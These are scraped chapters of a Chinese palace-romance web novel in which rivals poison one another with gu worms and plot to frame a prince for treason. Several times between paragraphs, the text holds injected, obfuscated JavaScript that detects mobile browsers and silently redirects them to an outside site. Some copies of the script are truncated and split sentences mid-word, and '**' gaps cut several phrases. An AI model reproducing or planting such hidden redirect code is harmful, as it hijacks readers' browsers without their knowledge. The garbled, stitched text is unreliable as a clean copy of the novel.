那“王妃”显然没察觉到这些,她眼里的光彩几乎要溢出来,快步从婢女手中接过一个白瓷炖盅,小心翼翼地揭开盖子,用银勺舀出一碗热气腾腾的羊肉汤。 她将碗捧到男人面前,声音柔得能掐出水来:“王爷,外面天冷,快趁热喝吧。” “嗯。”男人淡漠地应了声,接过汤碗,垂眸喝了几口。 姜姝宁的视线落在汤碗里。 乳白色的汤汁里没有葱花蒜末,甚至连一片提鲜去膻的姜丝都没有。 一股说不出的诡异感攫住了她的心脏。 这羊肉汤,怎么是按照那人的喜好调制的? “王爷……”那个与她一模一样的王妃绞着手指,犹豫了许久,终于还是斟词酌句地开了口,“您今日……可是去见了瑶真?” 男人喝汤的动作蓦地一顿。 他缓缓抬起头,那双漂亮的桃花眸冷冰冰地扫向她,眸底的温度足以将人冻僵:“你想说什么?” 王妃下意识地垂下头,像个做错了事的孩子,声音细若蚊蚋:“妾身……妾身只是觉得,您私下去见妹妹,终归不太妥当。妹妹她毕竟……已经是瑞王的侧妃了……” “砰!” 一声巨响,白瓷碗被重重扣在石桌上,汤汁四溅。 男人霍然起身,周身散发出的寒气仿佛要将这满园的牡丹都冻成冰雕。 “你在教本王做事?”他的声音淬了冰,每个字都像刀子,刮得人生疼。 王妃吓得脸色惨白,连连摆手,眼眶瞬间就红了:“妾身不是这个意思!妾身只是……” 她还没来得及解释完,男人已经懒得再听一个字。 他猛地一甩衣袖,袍角划出一个冰冷决绝的弧度,转身大步离去,没有丝毫留恋。 那背影,冷硬如铁,跟姜姝宁记忆里那个以性命护她周全的景大人,完全判若两人。 这是梦吗? 自己怎么会做这么荒谬离谱的梦? 梦里有另一个自己,还有一个顶着景大人面孔的冷酷王爷…… 姜姝宁的脑子乱成一团浆糊,无数的疑问盘旋着,得不到解答。 还没等她理清任何头绪,四周的景象开始扭曲、模糊,那满园的秾丽牡丹和王妃绝望的哭泣声都迅速远去,整个人又被卷进新一轮深不见底的黑暗之中…… —— 萧凌川薄唇紧抿,目光一瞬不瞬地盯着内室。 屋里弥漫着浓重的血腥味与草药味,孙神医已经不眠不休守了两日。 他那额上布满细密的汗珠,脸色比躺在床上的姜姝宁还要苍白几分。 姜姝宁的血是止住了,可她呼吸微弱,生命力正在一点点流逝,像握不住的沙,从指缝间悄然滑走,可他却无能为力。 孙神医又一次将银针刺入她心脉周围的穴位,与阎王爷抢夺着这脆弱的性命。 他一刻也不敢松懈,一刻也不敢闭眼。 衙门外,夜色如墨。 一道黑影如鬼魅般掠过高墙,悄无声息地落在屋檐之上。 姜天泽脸上蒙着黑布,只露出一双燃烧着疯狂与焦躁的丹凤眼。 他从怀中掏出一个布包,手腕一抖,漫天白色粉末便如一场突如其来的急雪,纷纷扬扬洒向下方巡逻的官兵。 几乎是瞬间,那些手持长矛、警惕四望的官兵便身子一软,连哼都来不及哼一声,接二连三地倒在地上,兵器砸在青石板上发出一连串沉闷的“哐当”声。 整个衙门,顷刻间陷入一片死寂,只有那诡异的白色粉末在夜风中缓缓飘散。 “砰!” 房门被猛地撞开,凌芜踉跄着冲了进来,脸上血色尽失:“王爷,不好了!姜天泽来了!他带了足量的软筋散,副将和兄弟们全都被他迷晕了!” 萧凌川眼中寒芒一闪,迅速从袖中取出几个小瓷瓶,扔给旁边的护卫:“你们快服下解药!凌芜,你在这守着孙神医,不准让任何人靠近!” “是,王爷!”凌芜接过瓷瓶,急忙倒出一粒药丸吞下,又将瓶子递给一旁满头大汗的孙神医,她忧心忡忡地问,“那您呢?” 萧凌川的声音冷得像冰:“本王去会会他!” 话音未落,他已推开屋门,大步跨入那片诡异的白色迷雾中。 庭院里,姜天泽如同地狱里爬出的修罗,孤身一人站在倒了一地的官兵中央。 看到萧凌川出现,他那双丹凤眼瞬间浮起一层骇人的猩红。 “萧凌川!”他嘶吼着,声音因极致的愤怒而有些扭曲,“你到底把阿宁藏到哪儿去了?!她明明答应过我,要和我一起离开的!” 萧凌川面无表情地看着他,仿佛在看一个无理取闹的疯子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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况且,以他对萧凌川的了解,若他真有心将姜姝宁藏匿起来,也断不会用这种近(乎)诅咒的恶毒方式。 萧凌川比谁都忌讳“死亡”二字与姜姝宁沾上关系! 就在此时,屋内陡然传来孙神医一声惊恐至极的低呼,萧凌川心头猛地一紧,疾风般冲回屋中。 只见一条乌黑如墨的诡异虫子,竟从姜姝宁毫无血色的唇间缓缓爬出,那一幕令人毛骨悚然。 萧凌川脸色霎时阴沉如暴雨将至,声音中透着难以抑制的震怒:“究竟是谁,竟敢在她体内种了蛊虫?!” 话音刚落,他便转头看向随后进屋的姜天泽,眼里杀意翻腾。 第363章 她再也不可能属于他 第三百六十三章她再也不可能属于他 “没错,是我下的蛊虫。” 姜天泽目光死死胶着在姜姝宁惨白如纸的脸上,看到她那副命悬一线的模样,所有疯狂的念头都被浇上了一盆冰水。 他不敢有任何隐瞒,低声将一切和盘托出,“我曾将情蛊种在她体内,可她十分抗拒,导致气血逆行,差点没命。我本想将这蛊虫逼出,可在施针的时候,你带着暗卫冲进了皇宫,我只能带着昏迷的她离开……” 他的话还没说完,一道裹挟着雷霆之怒的黑影已然扑至眼前。 “砰!” 萧凌川理智在那一瞬间彻底崩断。 他将全身的愤恨与杀意灌注于右拳,狠狠砸在姜天泽的胸口。 一声骨骼都仿佛错了位的闷响,姜天泽整个人像断了线的风筝,狼狈地向后摔去,重重撞在墙壁上,喉头一甜,呕出一口血来。 萧凌川眼中血丝密布,杀气凛然。 他反手抽出腰间长剑,剑尖直指姜天泽的咽喉,手腕一抖就要刺下! 可就在这千钧一发之际,那只本已爬出大半的乌黑蛊虫,竟像是受到了极大的惊吓,瞬间钻回了姜姝宁的口中,消失不见。 “王爷,不可!”孙神医吓得魂飞魄散,声音都变了调,“母蛊在他身上,子蛊只能由他驱使!您千万别伤了他的性命,否则王妃……王妃就真的没救了!” 情蛊不同于寻常蛊虫,母蛊与子蛊性命相连,密不可分,若母蛊宿主一命呜呼,子蛊宿主亦必随之殒命。 萧凌川的手臂僵在半空,手背上青筋暴起,手腕因极力克制而不住颤抖。 最终,他像是用尽了全身力气,才将那股滔天杀意压了下去,一寸寸地将长剑收回鞘中。 “快,”他转过身,每一个字都像是从牙缝里挤出来的,带着冰碴,“把那恶心的东西,从她体内唤出来!否则,本王现在就剐了你!” 姜天泽撑着墙壁,摇摇晃晃地站起来,擦去嘴角的血迹。 他看着萧凌川那双恨不得将自己生吞活剥的眼睛,心中竟生出了一丝诡异的迟疑。 之前给姜姝宁下蛊,她神志清醒,内心有强烈的抗拒,才导致了气血逆行,功亏一篑。 可如今……她昏迷着,失去了所有意识和抵抗。 这不正是让情蛊与她彻底融为一体的最佳时机吗? 只要子蛊成功在她心脉扎根,从此以后,她的心里便再也容不下旁人,只会一心一意地向着自己…… 孙神医行医多年,见惯了人心,只看姜天泽那微变的眼神,便猜到了他心中的意图。 他脸色一沉,急忙出声打断他的妄想:“姜三公子!蛊虫以人的血肉为食,如今王妃的身子已是樯橹之末,内里亏空得厉害!此物在她体内多待一刻,便多吸食她一分精血元气。若蛊虫迟迟不离体,就算神仙来了,也别想让她好转!还请三思!” 这番话如同一记重锤,将姜天泽从那病态的幻想中敲醒。 他看向萧凌川,眼神里多了几分算计和戒备:“可若我将那蛊虫引出,便没了利用价值。王爷,岂不是能随时杀我?” “本王不会杀你。”萧凌川忽然冷笑一声,那笑声里没有半分温度,只有刺骨的讥诮和寒意,“因为本王觉得,你很可悲。竟然想用下蛊这种卑劣的手段,将姝宁留在身边,怎么?难道一具没有思想、没有灵魂的木偶,你也要吗?” 被戳中最阴暗的心思,姜天泽的身体不受控制地颤抖起来,他像是被踩了尾巴的野兽,嘶吼着反击:“你将阿宁困在你身边,逼她为你生儿育女,囚她于王府高墙之内,你又有什么资格嘲笑我?!” “所以本王不杀你。” 萧凌川看着他,眼底竟泛起一丝浓重的自嘲,那是一种看透了自己,也看透了对方的悲凉。 “因为只要你活着,本王就觉得,这世上,原来还有人比本王更可悲,更可怜!” 他的声线没有半点波澜,却比任何怒吼都更具杀伤力。 姜天泽气血倒涌,嘴唇翕动,却一个字也说不出来。 萧凌川冷冷睥睨着他,眼底没有半分温度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大人,宁王殿下求见。” 正厅内的空气瞬间凝固。 姜天泽几乎是立刻扭过头,看向萧凌川,眉宇间满是错愕:“宁王?他怎么来了?他不是一向跟你不对付吗?” 萧凌川唇角的弧度更冷,那双潋滟的桃花眸里,阴鸷之色如墨般化开。 他好整以暇地理了理衣袖,明知故问:“是啊,他怎么会突然来找本王?” “莫非……派人刺伤阿宁的罪魁祸首就是他?他怎么敢?!”姜天泽连声音都在发颤,眼中迸射出骇人的杀意。 萧凌川没有回答,只是淡淡瞥了他一眼,那眼神仿佛在说“你总算还不算太蠢”。他转向门口,对通报的下人扬了扬下巴,声音听不出喜怒。 “让他进来!” 姜天泽很识趣地起身往屏风后而去。 不过片刻,一道颀长的身影便被引了进来。 萧怀瑾一身素色锦袍,风尘仆仆,原本温润如玉的眉眼间,此刻却笼罩着一层挥之不去的焦灼。 他似乎清瘦了不少,下颌的线条愈发分明,显出几分平日里没有的凌厉。 可见这段时日,他过得并不怎么舒心。 “这不是五弟吗?”萧凌川靠在椅背上,懒洋洋地抬起眼皮,语调里带着毫不掩饰的讥诮,“怎么这般行色匆匆,是特地来见本王的?” “四哥。”萧怀瑾的目光飞快地扫过萧凌川,见他脸上没有悲伤之色,心中暗暗松了口气,但眼神深处的紧张却未减分毫。 他紧盯着萧凌川的神色,试图从中窥探出姜姝宁的真实情况,“我听说四哥在衙门**了,心中担忧,特来看看。” 萧凌川发出了一声极轻的嗤笑,从喉咙深处溢出,满是不屑:“五弟何时这般关心本王了?真是让本王受宠若惊。” 萧怀瑾仿佛没有听出他话里带的刺,依旧维持着表面的镇定,只是紧握在身侧的手,指节已然泛白。 “我见四哥如今毫发无伤,便放心了。”他顿了顿,终于问出了此行的真正目的,“但听说,当时有人为四哥挡了一剑,那人是‘幼安堂’的姜女医,不知……这姜女医如今可有大碍?” 话音落地的瞬间,萧凌川站了起来。 他一步步走向萧怀瑾,每一步都像是踩在人的心尖上,带着沉重的压迫感。 “有没有大碍,与你何干?”他停在萧怀瑾面前,两人身形相仿,气势却天差地别。 萧凌川微微倾身,桃花眸里满是阴狠,“萧怀瑾,人是你派来的刺客所伤,你少在这里给本王猫哭耗子,假慈悲!” 这句直白的指控像一记重锤,狠狠砸在萧怀瑾心上。 他的脸色瞬间惨白如纸,身体微不可察地晃了一下。 “四哥……何出此言?”他强撑着,声音干涩,“刺杀一事,我的确不知。” 萧凌川脸上的嘲讽之色更甚:“莫非你不远千里赶来南朔,真的是念及你我之间的兄弟情谊?” “四哥有所不知,”萧怀瑾极力让自己的声音听起来平稳,“之前我也在南朔待过一段时日,当时还托这姜女医帮我照看一个婴孩。如今听说她出了事,心中难免有些担心。还请四哥……让我见她一面,确保她平安无恙!” 他蹩脚地编着理由,试图为自己的关切找到一个合理的借口。 然而,这恰恰是萧凌川等待已久的破绽。 “萧怀瑾,本王真的很佩服你!”萧凌川忽然笑了,那笑容却比淬了毒的刀子还要锋利,“你竟托本王的王妃照看本王的孩子,怎么,你就这么觊觎本王的女人,觊觎本王的孩子?” 王妃……孩子…… 萧怀瑾浑身猛地一僵,如遭雷击。 这两个词,每一个字都像烧红的烙铁,狠狠烫在他的脑海里。 他倏地抬起头,死死盯着萧凌川,眼底满是难以置信。 赶来王府的一路上,他心中便有个疯狂的猜测,那个让他心惊肉跳、几乎不敢深思的可能性,一遍遍地折磨着他。 为什么自己会对一个初见的寻常女医,产生那样难以克制的熟悉感与吸引力? 为什么小邺君会那样毫无缘由地亲近她、依赖她,仿佛他们之间有着天生的血脉牵引? 如今,萧凌川轻飘飘的一句话,便将他所有的侥幸与自欺欺人,击得粉碎。 姜姝宁和“幼安堂”的女医果然是同个人! 他分明比萧凌川早一步寻到她的踪迹,却因未能识破她的身份,与她失之交臂,眼睁睁看她回到萧凌川身边。 更可笑的是,他竟在毫不知情的情况下,阴差阳错地将她与萧凌川的骨肉托付于她亲自照料。 真是何其讽刺!何其荒谬! 萧怀瑾只觉得喉头一阵腥甜,四肢百骸都像是被浸入了冰水之中,冷得刺骨。 他看着萧凌川脸上那毫不掩饰的、胜利者般的嘲讽,感觉自己就像一个被剥光了衣服,扔在闹市中供人观赏的小丑。 萧凌川欣赏够了他既震惊又痛苦的模样,他这才懒洋洋地抬了抬手,招呼萧怀瑾落座。 “既然五弟千里迢迢来‘探望’本王,本王也得遵守待客之道。”他拖长了音调,每个字都带着利刃,刮着萧怀瑾那颗已经千疮百孔的心,“进来喝杯薄茶再走吧!” 这哪里是待客之道,分明是胜利者的炫耀,是猫捉住老鼠后,不急着咬死,反而要**一番的恶劣。 萧怀瑾的四肢依旧冰冷僵硬,脑子里嗡嗡作响,全是自己和姜姝宁重逢又错过的不甘。 他应该立刻转身就走,逃离这个让他无地自容的地方。 可他的双脚像是被钉在了原地,一种复杂的情绪死死攫住了他。 若就此离去,无异于默认自己便是这场刺杀的幕后黑手。 更何况,他实在无法放下对姜姝宁伤势的牵挂。 他犹豫了片刻,终是迈开了沉重如铅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431577|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步子,跟着萧凌川来到一旁的花梨木圆桌边落座。 下人很快端来一整套茶具,动作利落地温杯、置茶、冲泡。 一只莹白的瓷杯被推到他面前,澄黄的茶汤在杯中微微晃漾,映出他惨白而扭曲的脸。 萧怀瑾端着茶杯,迟迟没有动作。 “怎么?”萧凌川的声音带着毫不掩饰的嘲弄,在安静的室内格外刺耳,“五弟是怕我在茶里下毒?你放心,本王还不屑对你下毒!” 萧怀瑾感觉自己的脸颊在发烫,是一种被戳中内心的狼狈。 “我此次来,是为了见姜姑娘一面。”他迫使自己开口,声音干涩沙哑,却竭力维持着平稳,“只要确保她安然无恙,我便会离开。刺杀一事……我确实不知情,还请四哥明察!” 说完,他这才端起茶杯,将茶水一饮而尽。 萧凌川看着他喝下茶水,眉梢眼角那讥讽的笑意越发浓烈,几乎要满溢出来。 “萧怀瑾,本王总觉得自己从前愚蠢至极。”他慢条斯理地开口,声音里淬着冰,“本王从前竟会担忧姝宁对你生出一丝情愫,对你百般提防,心生嫉恨。如今瞧你这副敢做不敢认的怯懦嘴脸,本王只觉过去的种种顾虑,实在是多余至极!” 他的目光像刀子一样,一刀刀凌迟着萧怀瑾的神经。 “别说现在了,”萧凌川轻笑一声,那笑声里满是鄙夷,“就是以后,姝宁也绝不可能看上你这种懦弱之辈!” “你!”这番毫不留情的奚落,像一记响亮的耳光,狠狠抽在萧怀瑾的脸上。 即便如此,萧怀瑾依旧不愿承认刺杀萧凌川之事出自他的手笔。 一旦承认,便会牵连出皇兄萧政贤。 他身后好歹有崔家这座母族靠山,萧凌川纵有滔**火,也未必真会取他性命。 但萧政贤不同,若此事被萧凌川察觉他亦有份参与,定会借机发难,用谋权篡位的方式置他于死地! 反正……萧凌川也只是猜测,他没有确切的证据,他不能拿自己怎么样。 只要自己咬死不认,他又能如何? 萧怀瑾正这般想着,腹部却猛地传来一阵诡异的绞痛。 紧接着,一口鲜血毫无预兆地从他口中喷出,溅落在光洁的地面上,猩红刺目。 他脸色骤变,难以置信地瞪大了眼睛,目光死死落在手边那只空了的茶杯上。 “这茶……有问题!你不是说……” 萧凌川冰冷地看着他痛苦地蜷缩起来,脸上再无半点笑意,只剩下森然的恨。 “没错,本王是说过,不屑给你下毒。” 他的声音平静得可怕,像极北之地的寒冰,不带一丝温度。 “可你伤了姝宁,害她险些丧命。区区一点**,未免太便宜你了。” 萧凌川缓缓站起身,居高临下地俯视着倒在地上,浑身抽搐的萧怀瑾,一字一句,如同宣判。 “让你也尝尝这噬心蛊毒的滋味,方能泄我心头之恨!” 第365章 她心中从来只有萧凌川一人! 第三百六十五章她心中从来只有萧凌川一人! 噬心蛊的毒性霸道而凶猛,如同千万只蚂蚁在五脏六腑间啃噬,又像是被无形的利爪反复撕扯着血肉。 萧怀瑾的意识在剧痛的浪潮中沉浮,最终,眼前彻底一黑,彻底失去了知觉。 直到他栽倒在地,不省人事,姜天泽才从屏风后走出。 他目光森冷地投向地上那张惨白如纸的脸,眼底翻涌着压抑不住的恨意。 萧凌川瞥了他一眼,声音冷得像冰。 “他就交给你了。” “好好盘问,他究竟是受谁指使,敢对本王下这种毒手。这可是伤了姝宁的罪魁祸首,千万别对他心软!” 这命令的口吻,这颐指气使的姿态,让姜天泽心头火起。 他凭什么用这种语气对自己说话? 可一想到还在病榻上昏睡的阿宁,姜天泽只能将满腔的怒火死死压下,从牙缝里挤出几个字:“我知道了。” 他抬起头,迎上萧凌川深不见底的视线,一字一顿地提出自己的条件,“你也要信守承诺,让我随时能见到阿宁。” 萧凌川盯着他,那双幽深的眸子里情绪晦暗不明,像一潭搅不动的死水。 半晌,他扯了扯嘴角,缓缓开口:“姜天澤,若你是姝宁的亲堂弟,那该有多好。” 这话让姜天泽的脸色瞬间难看到了极点。 萧凌川这是在提醒他,他爱慕姜姝宁这件事,在他萧凌川眼里,既荒唐又恶心,根本上不得台面。 …… 萧怀瑾醒来时,发现自己身处一间密不透风的黑屋子里。 空气中弥漫着一股发霉的土腥味,只有头顶一束微弱的光,勉强照亮了身前的一小片地。 他试着动了动,腹部立刻传来一阵熟悉的、撕裂般的绞痛,让他忍不住闷哼一声。 一个身影挡住了那唯一的光源,投下大片的阴影将他笼罩。 萧怀瑾眯起眼,费力地辨认着来人的轮廓。 那张年轻而棱角分明的脸,竟与萧凌川有七八分相似。 “你是……姜姑娘的堂弟,姜三公子?”他记起了失去意识前的那一幕,声音干涩得像是砂纸在摩擦,“你如今……在为景王办事?” 姜天泽居高临下地俯视着他,眼神比这地牢还要冰冷。 “宁王殿下,”他开口,每一个字都像是从冰窖里捞出来的,“我和阿宁,没有半点血缘关系。” 萧怀瑾一怔。 只听姜天泽用那淬了毒的声音继续说道:“我听说,我离开南朔后,是你,抱着那个孩子天天往‘幼安堂’跑,去找她。怎么,日日与她相见,朝夕相对,竟认不出她就是你易容后的心上人吗?看来,你对她的感情,也不过如此嘛!” 他嗤笑一声,那笑声里满是毫不掩饰的鄙夷与快意。 仿若将从萧凌川处所受的种种**,尽数倾泻在萧怀瑾身上。 萧怀瑾的脑子嗡嗡作响,满脸狐疑。 姜天泽为何要刻意强调……他和姜姝宁没有血缘关系? 难道说…… 一个荒谬至极,却又无比合理的念头,如同惊雷般在他心头炸开。 他猛地抬眼,死死盯住姜天泽:“你……爱慕姜姑娘?” “自然。” 姜天泽缓缓蹲下身,与他平视。 那双酷似萧凌川的眼睛里,燃烧着嫉妒与疯狂的火焰。 他凑近萧怀瑾的耳边,一字一句,如同恶魔的低语: “比起你这个派刺客误伤了她、害她险些丧命的人,我对她的感情,更配得起‘爱’这个字!” “爱”字被他咬得极重,像一把重锤,狠狠砸在萧怀瑾的心口上。 一阵尖锐的剧痛从胸腔蔓延开来,甚至盖过了腹部的绞痛。 他张了张嘴,声音干涩得几乎发不出来。 “我……从未想过要伤她……”他尽力辩解着,每一个字都透着无力,“我想刺杀的是萧凌川……只是,我没想到……她会为萧凌川挡剑……” “此事,确实是我的错,”他闭上眼,满嘴苦涩,“我甘愿受罚。” “你这个**子!”姜天泽猛地站起身,怒吼道,“表面上装得一副光明磊落、温润如玉的模样,私底下不也一样会做些暗杀的卑劣勾当?亏阿宁当初还将你当成世间少有的温润公子那般欣赏!萧怀瑾,你不配!” 萧怀瑾缓缓睁开眼,看着他暴跳如雷的样子,脸上竟浮现出一抹惨淡的笑意。 “对,我不配。”他的声音很轻,却像一把锋利的刀,精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431578|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准地捅(进)了姜天泽早已千疮百孔的心,“你,也不配。” 他迎着姜天泽愤怒的目光,一字一顿地,将那最残忍的现实剖开。 “从我知道她为萧凌川挡剑的那一刻起,我便知道,她心中装的那个人,不可能是我,更不可能是你,而是……” “住口!” 姜天泽像是听到了什么最可怕的禁忌,怒吼着打断了他的话,声音因为激动而微微发颤。 “阿宁心里不可能装着萧凌川那个混蛋!她恨他!她恨得只能用死来摆脱他!她不可能,也绝对不会在乎萧凌川!” 他嘶吼着,像一头困兽。 然而,怒吼过后,巨大的空虚与苍白瞬间将他吞没。 他自己都发现,这番话有多么可笑。 若不在乎,又怎么可能在那千钧一发之际,想也不想,就用自己的身体去挡那把利剑? 若不在乎,又怎么可能用自己的命,去换他的命? 这哪里是在乎,这分明是刻进骨血里、连死亡都无法磨灭的爱! “你看,”萧怀瑾看着他,那笑容比哭还难看,“连你自己,都说服不了你自己。姜三公子,我从来就不是你的敌人。我们的敌人,另有其人。” 姜天泽颓然地后退一步,撞在冰冷的墙壁上。 一直以来,他都将萧怀瑾视为最大的情敌。 姜姝宁从未掩饰过对萧怀瑾那种温润君子的欣赏。 那种欣赏,像一根毒刺,深深扎在他的心里,让他嫉妒,让他发狂。 萧怀瑾越是温善光明,就越发衬托出他的阴鸷卑劣。 所以他恨他,对他充满了敌意。 可直到今天,直到此刻,他才发现自己错得有多离谱。 真正夺走阿宁的,从来就不是萧怀瑾这个所谓的“温润公子”。 真正占据她整个心房,让她爱到可以连命都不要的…… 从来,都只有萧凌川一个人! “就算知道萧凌川是我们的死敌,又能如何?”姜天泽的眼神黯淡无光,面上尽是绝望与苍凉,“终究改变不了阿宁绝不会选择我的事实。” “此言差矣。”萧怀瑾看着他,声音森然如冰,“只要萧凌川从这世上彻底消失,我们便有赢得她垂青的机会。” 第366章 情敌的联手 第三百六十六章情敌的联手 “谈何容易!”姜天泽发出一声冷笑,“他之前受了伤,又中了毒,你派去的那帮废物都奈何不了他。现在他伤好了,要杀他?比登天还难!” “下毒也好,刺杀也罢,都不是最佳手段。最好的手段,是要让他万劫不复。” 萧怀瑾的脸色骤然阴沉,往日那温润如玉的翩翩风度荡然无存,取而代之的是一抹深不见底的冷厉,令人不寒而栗。 “找出他通敌**的证据。只要找到这个证据,都不用我们动手,陛下和朝堂就能名正言顺,将他置于死地!” “通敌**?”姜天泽眉心微动,脑中迅速闪过一些片段,“他之前……倒是和南月那个赵首辅走得很近……” “没用的。”萧怀瑾打断了他的话,“那个南月首辅,如今就在景王府的地牢里,被萧凌川折磨得只剩下一口气。一个阶下囚的疯话,算不得证据。就算他招了,萧凌川也能轻易推脱是屈打成招。” “必须有新的,无法辩驳的证据,才能将他一击毙命。我听说,你是南月毒师之子,想来……你应该有些门路。” 他顿了顿,抬眼直视姜天泽,“我可以给你足够多的钱,你去买通一个有分量的南月人,让他主动向大邺举报,指认萧凌川通敌叛国。如此一来,人证物证俱在,萧凌川就是有天大的本事,也别想再翻身!” 听着萧怀瑾的计划,姜天泽脸上露出一抹阴鸷诡异的笑容。 “那你可算是找对人了。我何止是南月毒师的儿子……我还是南月太子!我在萧凌川身边,便是他通敌叛国的最好证据!” 说完,姜天泽从怀中掏出一物,在萧怀瑾面前晃了晃。 那是一枚玉牌,通体晶莹剔透,在昏暗的烛光下流转着温润的光泽。 萧怀瑾的瞳孔骤然收缩。 他曾随外祖与舅舅远赴外邦拜会时,曾在南月皇宫里见过这个图腾,那是南月王室独有的标志! “你既然是南月太子,”他一脸难以置信,“为何要留在大邺?如今南月皇帝驾崩,国内群龙无首,你完全可以回去继承皇位,成为南月的王!” 一个储君,竟然甘愿在一个异国他乡,当一个名不见经传的“姜家三公子”? 简直匪夷所思! “为何?”姜天泽冷笑一声,“自然是为了阿宁。” 他一字一顿,每个字都咬得极重,眼神里是偏执到疯狂的爱意。 “为了能和她长相厮守。比起阿宁,区区一个皇位,又算得了什么?” 他当然不屑与萧怀瑾这种**子联手。 但萧凌川实在太强大了,若没有外力相助,只凭他一人,想要扳倒那座山,无异于痴人说梦。 萧怀瑾脸上的震惊缓缓褪去,取而代之的是前所未有的凝重。 他看着姜天泽,似乎在重新审视着眼前的少年。 “好。”良久,萧怀瑾沉声开口,算是接受了这个惊人的事实,“既然我们的目标一致,那便联手。等我们除掉萧凌川,再公平竞争,看谁能得到姜姑娘的心!” “甚好!”姜天泽爽快应下,嘴角噙着笑,可那笑意却未达眼底。 一抹阴鸷的光,在他眼底深处悄然浮起,快得让人无法捕捉。 萧怀瑾仿佛没有察觉,继续说道:“既然我们如今是盟友,那你是不是……也该将我体内的蛊毒解了?” “别急啊。”姜天泽敛眸,“现在要是除了你的蛊毒,万一萧凌川察觉到什么,我们的计划不就泡汤了?” 他凑近了些,声音压得更低。 “你先忍耐一下,反正过几天我就要去京城了。我的噬心蛊,只能在近距离内操控。一旦我们离得远了,它就跟个死物没什么两样,你不会有任何感觉的。” 萧怀瑾将信将疑。 姜天泽的话不无道理,萧凌川的生性多疑,任何一点风吹草动都可能引起他的警觉。 在这个节骨眼上,保持现状似乎是最稳妥的选择。 最终,他只能选择了妥协:“好,我信你。” 他没有发现,就在他说这话的瞬间,姜天泽脸上一闪而过的阴狠。 谁要跟你公平竞争? 等萧凌川**,下一个,就轮到你! 他要催动那噬心蛊,让萧怀瑾在无尽的痛苦中,一点点被啃噬干净,活活疼死! 到那时,他倒要看看,一个**,还如何觊觎他的阿宁! —— 姜天泽很清楚,要让萧凌川**通敌的罪名成立,光凭他南月太子的身份还不够,必须要有实实在在的证物。 他从暗室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431579|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中走出,整了整衣襟,脸上换上一副恭顺又带着几分急切的神情,径直去找萧凌川。 “王爷。”姜天泽微微躬身,语气拿捏得恰到好处,“我已经按照你的吩咐,用噬心蛊狠狠折磨了宁王,不过他骨头硬得很,至今依旧不肯承认刺杀一事与他有关,依我之见,恐非他所为。如今……你该兑现承诺,让我见见阿宁了吧?” 萧凌川目光冷冷地落在姜天泽身上,片刻后,他吐出三个字:“跟我来。” 穿过几道回廊,来到一间雅致安静的卧房。 姜天泽一眼就看到了躺在床上的姜姝宁。 她安静地睡着,脸颊是病态的苍白,但比起上次他闯入衙门见到时的濒死模样,多了一缕若隐若现的生气。 可即便如此,姜天泽的心还是被狠狠揪了一下。 那一剑正中心口,该有多疼啊。 她这副单薄的身子,怎么受得住这种苦? 他走近床边,喉咙发紧,声音嘶哑:“孙神医有没有说……她何时能醒来?” “心脉受损,沉睡也是一种自我修复。”萧凌川的声音从他身后传来,冷得像冰,“她已闯过最凶险的生死关头,只要精心调养,醒来不过是迟早之事。” “那要等多久?”姜天泽追问,眼中是藏不住的焦灼。 “你应该庆幸她还没醒。”萧凌川踱步到姜天泽身边,语气充满了警告意味,“否则,我不会让你踏进这个房间半步。姜天泽,认清你的身份,她只能属于本王。” 姜天泽闻言,双手在袖中悄然攥紧,指节泛白,眼底深处闪过一抹难掩的不甘。 “好了,你看也看过了,可以走了!”萧凌川下了逐客令,语气里满是不耐烦。 姜天泽强压下心头翻涌的杀意,缓缓转过身,脸上却换上了一副认命般的颓然。 “我记得,王爷曾亲口答应过大姐姐,愿为我的仕途铺平前路。” 萧凌川眸中闪过一瞬微不可察的兴味,目光悠然落在这少年身上,似在揣摩他骤然改口称呼姜姝宁的深意。 “所以,你想要什么?” 